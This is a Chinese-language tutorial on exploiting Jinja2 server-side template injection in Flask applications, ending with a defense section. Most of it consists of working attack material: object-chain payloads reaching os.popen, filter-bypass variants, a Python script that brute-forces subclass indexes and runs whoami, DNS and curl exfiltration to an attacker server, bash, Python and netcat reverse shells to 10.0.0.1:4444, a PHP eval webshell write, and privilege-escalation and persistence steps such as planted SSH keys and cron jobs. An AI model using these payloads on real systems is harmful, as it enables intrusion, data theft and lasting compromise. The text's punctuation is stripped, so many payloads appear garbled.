1. 项目概述从模板渲染到命令执行搞Web安全的朋友对SSTI服务器端模板注入这个漏洞类型肯定不陌生。它不像SQL注入那样“历史悠久”但因其隐蔽性和一旦利用成功带来的高危害性近年来在渗透测试和CTF比赛中越来越常见。而Jinja2作为Python生态下Flask、Django等主流Web框架默认或广泛使用的模板引擎其相关的SSTI漏洞利用更是我们绕不开的一个核心知识点。简单来说这个项目要探讨的就是当Web应用开发者不当心将用户输入直接拼接进Jinja2模板进行渲染时攻击者如何通过精心构造的输入突破模板的沙箱限制最终实现从模板表达式计算到任意代码执行的“惊险一跃”。这不仅仅是输入一个{{7*7}}看看是否返回49那么简单它涉及到对Python对象继承链的深刻理解、对Jinja2沙箱环境的绕过技巧以及一系列将理论转化为有效攻击载荷的实战操作。如果你是一名Web开发者理解这些能让你写出更安全的代码知道哪些地方是危险的“雷区”如果你是一名安全研究员或渗透测试工程师掌握这套“组合拳”则是你武器库中的必备利器。接下来我将以一个“踩过坑”的实践者角度带你彻底拆解Jinja2 SSTI的利用链条从漏洞原理探测到最终getshell分享那些在官方文档里不会写的细节和技巧。2. 漏洞原理与探测理解模板引擎的“工作流”在谈利用之前我们必须先搞清楚漏洞是怎么产生的。这能帮助我们在黑盒测试时快速准确地判断是否存在漏洞而不是盲目地“乱试”。2.1 Jinja2模板渲染的基本机制Jinja2的模板语法主要使用{{ ... }}来包裹变量或表达式{% ... %}用于控制语句。一个安全的用法是这样的from jinja2 import Template template Template(Hello {{ name }}!) result template.render(nameWorld) print(result) # 输出Hello World!这里name是一个由开发者传递给模板的、可控的变量。问题出在另一种场景模板内容本身而不仅仅是模板内的变量部分或全部由用户输入控制。漏洞代码示例from jinja2 import Template user_input request.args.get(input) # 假设用户传入 {{7*7}} template Template(Hello user_input) # 危险字符串拼接 result template.render() print(result)当用户输入{{7*7}}时最终渲染的模板字符串是Hello {{7*7}}。Jinja2引擎会忠实地执行这个表达式输出Hello 49。这就完成了一次最基本的SSTI探测。注意并非所有将用户输入放入模板都会导致SSTI。关键区别在于用户输入是被当作数据变量值传递给模板还是被当作模板语法的一部分与模板字符串进行了拼接。前者是安全的后者是危险的。2.2 黑盒探测技巧与指纹识别在实际渗透测试中我们面对的是一个黑盒。如何快速判断目标使用了Jinja2并且存在SSTI呢第一步模糊测试与语法探测我们可以向所有可能的参数如GET/POST参数、Cookie、Headers提交一些基本的模板语法测试载荷观察响应差异。数学运算{{7*7}}、{{7*7}}如果返回49或7777777强烈暗示。字符串连接{{ab}}看是否返回ab。对象探测{{.__class__}}这是后续利用的基础先看是否被解析。第二步识别模板引擎指纹不同模板引擎如Twig、Smarty、Jinja2的语法和内建对象略有不同。通过一些报错信息或特殊载荷可以识别。Jinja2 特征使用{{ ... }}和{% ... %}。它的__class__属性指向的是class str这样的形式。尝试{{ config }}或{{ self }}在Flask中如果这些内置对象未禁用可能会泄露信息。提交{{a.upper()}}如果返回A基本确认是Jinja2因为它支持Python方法调用。第三步判断沙箱与过滤情况即使存在SSTI目标环境也可能有各种限制。尝试访问{{.__class__.__base__}}看是否被拦截或返回空。尝试使用[]或.访问属性有些WAF可能只拦截其中一种。观察是否有字符被转义或过滤比如_、[、]、.、、等。实操心得探测阶段要“温柔”。避免一开始就使用明显的危险载荷如os.system这可能会触发WAF或应用监控导致IP被封。从最无害的数学运算和基本属性访问开始逐步升级。同时注意对比正常请求与测试请求的响应时间如果执行了复杂表达式可能会有轻微延迟这也是一个辅助判断依据。3. 利用链构建从字符串到命令执行确认存在Jinja2 SSTI后我们的目标通常是执行系统命令从而获取服务器权限。这个过程就像在迷宫中寻找一条通往os.system或subprocess.Popen的路径。Jinja2为了安全设计了一个沙箱环境限制了很多敏感操作和模块的访问。我们的任务就是利用Python对象固有的继承关系父子类、子类与实例一步步“爬”到我们想要的类上。3.1 理解Python的对象继承链这是整个利用的核心逻辑。在Python中一切皆对象对象之间通过__class__、__base__、__subclasses__()、__mro__等魔术方法关联。__class__获取当前实例所属的类。__base__获取类的直接父类单继承。__bases__获取类的所有父类元组形式用于多继承。__mro__Method Resolution Order获取类的继承链方法解析顺序是一个包含自身和所有祖先类的元组。__subclasses__()获取类的所有直接子类列表。利用思路从一个已知的、可访问的实例比如空字符串出发找到它的类str类。找到这个类的父类通常是objectPython中所有类的基类。枚举object的所有子类。这个列表包含了当前Python运行时环境中加载的几乎所有类。在这些子类中寻找包含危险模块如os、subprocess或可以用于执行命令的类如class os._wrap_close。实例化或调用该类的危险方法。3.2 手工构造利用链让我们一步步推演这个“爬链”过程。假设我们在模板中可以执行{{.__class__}}。找到起点对象的类{{.__class__}}- 结果class str找到基类object{{.__class__.__base__}}- 结果class object或者使用__mro__{{.__class__.__mro__[1]}}因为__mro__通常是(class str, class object)。枚举object的所有子类{{.__class__.__base__.__subclasses__()}}这会返回一个巨大的列表包含了成百上千个类。我们需要在这个列表中搜索。在子类列表中寻找目标 我们需要寻找的通常是class os._wrap_close、class subprocess.Popen或者包含os模块引用的类。由于直接输出列表太长我们需要用Jinja2的循环或索引来查找。方法一循环查找如果环境支持{% for cls in .__class__.__base__.__subclasses__() %} {% if os in cls.__name__ %} {{ loop.index0 }}: {{ cls }} {% endif %} {% endfor %}方法二通过索引访问更常用 我们需要先知道目标类在列表中的索引号。这个索引号不是固定的它取决于Python解释器启动时加载模块的顺序。但在一次会话中通常是稳定的。我们可以写一个脚本离线模拟或者通过模糊测试区间来定位。 例如我们怀疑os._wrap_close在索引128附近{{.__class__.__base__.__subclasses__()[128]}}如果返回class os._wrap_close那就成功了。否则需要调整索引。调用危险方法执行命令 找到os._wrap_close类后它内部有一个__init__方法而__init__会调用os模块。我们可以通过__globals__属性来访问模块的全局命名空间。获取os模块引用{{.__class__.__base__.__subclasses__()[128].__init__.__globals__}}这会返回一个字典其中包含了os模块。从__globals__中取出os模块{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os]}}或者使用{{...__globals__.os}}如果.操作可用。调用os模块的popen或system方法{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].popen(whoami).read()}}这条语句最终会执行whoami命令并读取输出。注意事项__globals__只存在于函数对象如__init__上不存在于类实例上。因此我们必须找到一个类的初始化方法。os._wrap_close是常用的一个因为它几乎总是被加载且其__init__.__globals__包含了完整的os模块。3.3 自动化工具与Payload生成手工构造虽然有助于理解原理但效率低下尤其是在索引号不确定的情况下。在实际渗透中我们通常会借助一些工具或预制的Payload字典。1. 使用tplmap等自动化工具 工具如tplmap可以自动探测SSTI类型、尝试绕过过滤并获取交互式shell。它内置了针对Jinja2、Twig等多种模板引擎的利用链。python tplmap.py -u http://target.com/page?nametest工具会自动测试并尝试注入如果成功可以直接使用--os-shell参数获取系统shell。2. 预制Payload字典 我们可以准备一系列从不同起点、使用不同语法的Payload用于应对简单的字符过滤。基础Payload{{config.__class__.__init__.__globals__[os].popen(id).read()}}(如果Flask的config对象可用)利用request对象Flask中{{request.application.__globals__.__builtins__.__import__(os).popen(id).read()}}使用[]代替.绕过过滤 如果.被过滤可以用[]和字符串形式访问属性。{{[__class__][__base__][__subclasses__]()[128][__init__][__globals__][os][popen](ls)[read]()}}使用|attr()过滤器Jinja2特有 如果[和]也被过滤可以尝试attr过滤器。{{|attr(__class__)|attr(__base__)|attr(__subclasses__)()|attr(__getitem__)(128)|attr(__init__)|attr(__globals__)|attr(__getitem__)(os)|attr(popen)(id)|attr(read)()}}3. 编写简单的探测脚本 对于CTF或授权测试可以写一个Python脚本自动遍历可能的索引号寻找包含os或subprocess的类。import requests import sys url sys.argv[1] param sys.argv[2] for i in range(500): payload f{{{{.__class__.__base__.__subclasses__()[{i}].__init__.__globals__.__builtins__}}}} # 或者更精确地检查是否有os # payload f{{{{.__class__.__base__.__subclasses__()[{i}].__init__.__globals__.get(os)}}}} r requests.get(url, params{param: payload}) if bbuilt-in function in r.content or bmodule in r.content: print(fPotential hit at index {i}: {r.content[:200]}) # 进一步测试命令执行 cmd_payload f{{{{.__class__.__base__.__subclasses__()[{i}].__init__.__globals__[os].popen(whoami).read()}}}} r2 requests.get(url, params{param: cmd_payload}) print(fCommand output at {i}: {r2.text[:500]})4. 高级绕过技巧应对过滤与沙箱在实际的漏洞利用中一帆风顺的情况很少。开发人员或安全设备可能会部署各种过滤机制。下面分享几种常见的绕过姿势。4.1 常见字符过滤与绕过被过滤字符绕过思路示例Payload.(点)1. 使用中括号[]和字符串属性名。2. 使用Jinja2的attr()过滤器。_(下划线)1. 利用字符串拼接或格式化。2. 使用request.args等传入如果上下文允许。{{[__cla~ss__]}}{{[__cla%s__%ss]}}{{[request.args.a]}}配合?a__class__[和]1. 使用.操作符如果可用。2. 使用__getitem__方法。{{.__class__}}{{.__class__.__base__.__subclasses__().__getitem__(128)}}和(引号)1. 使用chr()函数配合数字ASCII码拼接字符串。2. 使用request.values等传入。{{().__class__.__base__.__subclasses__()[59].__init__.__globals__[chr(111)chr(115)]}}(chr(111)chr(115) ‘os’)数字1. 用字符运算产生数字。2. 用True1、False0进行运算。3. 使用length过滤器等。{{().__class__.__base__.__subclasses__()[len(aaaaaaaaaaaaaaaaaaaaaaaa)]}}(假设len24){{().__class__.__base__.__subclasses__()[TrueTrue...True]}}4.2 利用Python内置函数与命名空间有时直接找os模块的路径被堵死我们可以尝试从其他内置函数或模块入手。1. 利用__builtins__或__builtin____builtins__是一个包含了所有内置函数如__import__,eval,exec的模块。很多类的__init__.__globals__中都包含对它的引用。{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[__builtins__][__import__](os).system(id)}}或者更简洁地如果上下文有__builtins__{{__builtins__.open(/etc/passwd).read()}} # 如果可用尝试读文件2. 利用__import__函数直接导入 如果某个环节能执行函数可以尝试直接导入。{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__(os).popen(id).read()}}3. 利用url_for或get_flashed_messages(Flask特定) 在Flask应用中一些全局函数也可能指向有用的全局命名空间。{{url_for.__globals__[os].system(ls)}} {{get_flashed_messages.__globals__[os].popen(whoami).read()}}4.3 无回显命令执行与外带数据如果命令执行了但没有输出显示在页面上盲注我们需要通过其他方式获取结果。1. DNS外带数据 利用命令执行触发DNS查询将结果放在子域名中。{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(ping -c 1 whoami.your-domain.com)}}然后在你的DNS服务器日志中查看whoami的结果。2. HTTP请求外带数据 使用curl、wget或将结果发送到你的Web服务器。{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(curl http://your-server/?resultwhoami|base64)}}3. 延时判断时间盲注 通过执行sleep命令并观察响应时间来判断命令是否执行成功。{% if .__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(sleep 5) 0 %} ok {% endif %}如果页面响应延迟了5秒说明sleep命令执行了。实操心得绕过过滤是一个“道高一尺魔高一丈”的过程。最好的方法是理解每一种绕过技术的本质将受限的字符或操作转化为另一种等价的、未被过滤的形式。多积累Payload多动手测试。同时注意观察服务器的错误信息有时报错会泄露重要的环境信息比如当前目录、可用的模块等这能为下一步利用提供线索。5. 实战案例与深度利用理论说再多不如看一个相对完整的实战模拟。假设我们目标是一个Flask应用存在一个用户可控的模板渲染点。5.1 场景复现与初步探测假设存在一个欢迎页面URL为http://vuln-app.com/greet?nameTom后端代码可能如下app.route(/greet) def greet(): name request.args.get(name, Guest) template fh1Hello, {name}!/h1 # 危险直接f-string拼接 return render_template_string(template)我们提交http://vuln-app.com/greet?name{{7*7}}返回h1Hello, 49!/h1。确认存在SSTI。5.2 信息收集与环境探测在尝试getshell前先收集信息。获取内置对象{{config}}或{{self}}。如果可用可能会直接泄露SECRET_KEY、数据库连接信息等敏感配置。查看已加载模块{{.__class__.__base__.__subclasses__()}}查看所有类了解环境。寻找特定类索引 使用之前提到的循环或脚本寻找os._wrap_close的索引。假设我们找到是128。5.3 构造利用链获取Shell现在尝试执行命令。测试命令执行{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].popen(id).read()}}返回h1Hello, uid1000(www) gid1000(www) groups1000(www)!/h1。成功尝试反弹Shell 这是更稳定的控制方式。假设攻击机IP是10.0.0.1监听端口4444。Linux下{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(bash -c \bash -i /dev/tcp/10.0.0.1/4444 01\)}}如果/dev/tcp不可用可以使用其他方式使用Python反弹shell{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(python3 -c \import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\10.0.0.1\,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);\)}}使用nc如果目标有netcat{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].system(nc -e /bin/sh 10.0.0.1 4444)}}写入Webshell 如果无法反弹shell可以尝试写入一个webshell。{{.__class__.__base__.__subclasses__()[128].__init__.__globals__[os].popen(echo \?php eval($_POST[cmd]);?\ /var/www/html/shell.php).read()}}然后访问http://vuln-app.com/shell.php用蚁剑等工具连接。5.4 权限提升与持久化获取初始shell通常是Web服务权限如www-data后可能需要进行提权。信息收集uname -a系统内核版本cat /etc/passwd用户列表sudo -l查看当前用户能以sudo执行哪些命令find / -perm -4000 -type f 2/dev/null查找SUID文件cat /etc/crontab查看计划任务利用内核漏洞或配置错误提权 根据收集的信息搜索对应的本地提权漏洞如Dirty Pipe、Polkit等或利用配置错误如sudo权限过宽、可写的SUID文件等。持久化后门写入SSH公钥到~/.ssh/authorized_keys。创建计划任务cron job。修改Web应用源码植入永久后门。重要警告以上所有攻击步骤仅限用于你拥有完全所有权和测试授权的环境如CTF比赛、授权的渗透测试、你自己的实验靶场。未经授权对任何系统进行测试都是非法且不道德的。6. 防御策略与安全开发建议作为开发者如何避免自己的应用成为被利用的目标呢防御SSTI的核心原则是绝对不要信任用户输入尤其是当输入会影响到代码逻辑或语法结构时。6.1 根本解决方案避免拼接使用安全API1. 严格使用模板引擎的数据传递功能 这是最根本的解决方法。永远不要将用户输入直接拼接到模板字符串中。错误示范template Hello, user_input ! Template(template).render()正确示范template Hello, {{ name }}! Template(template).render(nameuser_input) # user_input作为变量值传入在Flask中使用render_template函数时所有动态数据都应通过关键字参数传递。2. 使用安全的渲染函数如果必须动态生成模板 如果业务场景确实需要动态组装模板这本身风险很高可以考虑使用更严格的沙箱环境或者使用模板引擎提供的“沙箱模式”如果存在。但最推荐的还是重构业务逻辑避免这种需求。6.2 输入验证与过滤辅助手段输入验证不能作为唯一防线但可以作为深度防御的一环。白名单过滤对于期望是纯文本的字段如用户名只允许字母、数字和有限的符号。转义特定字符对于确实需要显示{{或}}的场景在传递给模板渲染之前将其转义为HTML实体或其他安全形式。但注意这可能会破坏用户体验且容易因转义规则不完整而失效。6.3 沙箱与运行时限制对于高风险应用可以考虑更严格的运行时环境。使用Jinja2沙箱Jinja2提供了一个SandboxedEnvironment它对模板的执行做了更多限制。但请注意历史证明沙箱往往可以被绕过不应完全依赖。禁用危险函数/属性通过自定义模板环境覆盖或移除危险的上下文变量如__class__、__builtins__和过滤器/函数。但这需要对Jinja2内部机制有很深的理解且可能影响正常功能。在受限环境中运行将渲染模板的进程放在一个低权限的容器如Docker或沙箱中限制其网络访问和文件系统访问能力。6.4 安全开发框架与最佳实践安全培训让开发团队了解SSTI的风险和原理。代码审计将“模板字符串拼接”作为代码审计和SAST静态应用安全测试工具的重点检查项。依赖管理及时更新Jinja2等第三方库修复已知的安全问题。最小权限原则运行Web应用的进程如www-data应具有尽可能少的系统权限。7. 常见问题与排查技巧实录在实际利用和防御过程中总会遇到各种“坑”。这里记录一些典型问题和解决思路。7.1 利用阶段常见问题问题1Payload执行后没有任何回显也没有报错。排查可能是命令执行成功但输出被捕获或丢弃也可能是Payload本身有语法错误但被静默处理。技巧使用时间盲注技术用sleep命令测试。{{...os.system(sleep 5)...}}观察响应是否延迟。尝试使用DNS或HTTP外带数据确认命令是否执行。检查Payload中的索引号是否正确类是否包含os模块。可以尝试输出__globals__.keys()看看有什么。尝试更简单的命令如touch /tmp/test123然后检查目标服务器上是否创建了文件如果可能。问题2__class__、__base__等属性访问被拦截或返回空。排查可能WAF或应用层过滤了这些魔术方法名。技巧尝试使用字符串拼接绕过{{[__class__]}}。尝试使用编码或十六进制{{[\x5f\x5fclass\x5f\x5f]}}\x5f是_。寻找其他入口点试试{{config}}、{{request}}、{{self}}、{{url_for}}等Flask内置对象看是否能直接或间接访问到__globals__。尝试使用**|attr()过滤器**并配合字符串拼接。问题3找到了os模块但popen或system函数被禁用或返回错误。排查可能环境处于严格的沙箱中或os模块的部分函数被删除。技巧尝试使用subprocess模块{{...__globals__[subprocess].Popen(ls, shellTrue, stdout-1).communicate()[0]...}}尝试使用importlib或__import__导入其他模块如importlib.import_module(os).system(id)。尝试使用open函数读文件{{...__globals__[open](/etc/passwd).read()...}}先获取信息。7.2 防御与修复阶段注意事项问题修复后如何验证漏洞是否真正被堵上方法不要只测试原来的Payload。进行全面的模糊测试。使用自动化工具如tplmap对修复后的接口再次扫描。手动测试各种边界情况包括大小写变换、特殊字符编码、多种Payload变体。进行代码复查确保所有可能的用户输入点包括Headers、Cookie、JSON Body都按照安全的方式处理。在预发布环境进行渗透测试。一个深刻的教训我曾遇到一个案例开发者修复了主要的渲染点但忘记了一个用于生成错误日志的辅助函数这个函数同样使用了不安全的模板拼接导致漏洞依然存在。因此修复必须彻底需要梳理所有使用模板渲染的代码路径。7.3 工具使用小贴士tplmap功能强大但攻击载荷可能比较“重”容易被WAF识别。在授权测试中可以尝试使用--tamper参数对Payload进行混淆。手工测试对于有WAF的目标手工构造短小、变形的Payload成功率可能更高。理解原理比依赖工具更重要。Burp Suite Intruder对于寻找子类索引这类重复性工作可以用Burp的Intruder模块设置数字payload通过响应特征如是否包含os字样来快速定位。最后无论是攻击还是防御对Jinja2 SSTI的深入理解都源于对Python对象模型和Jinja2模板渲染机制的把握。多搭建靶场环境练习多阅读优秀的漏洞分析报告是提升这方面能力的最佳途径。保持好奇心同时严守法律和道德的底线。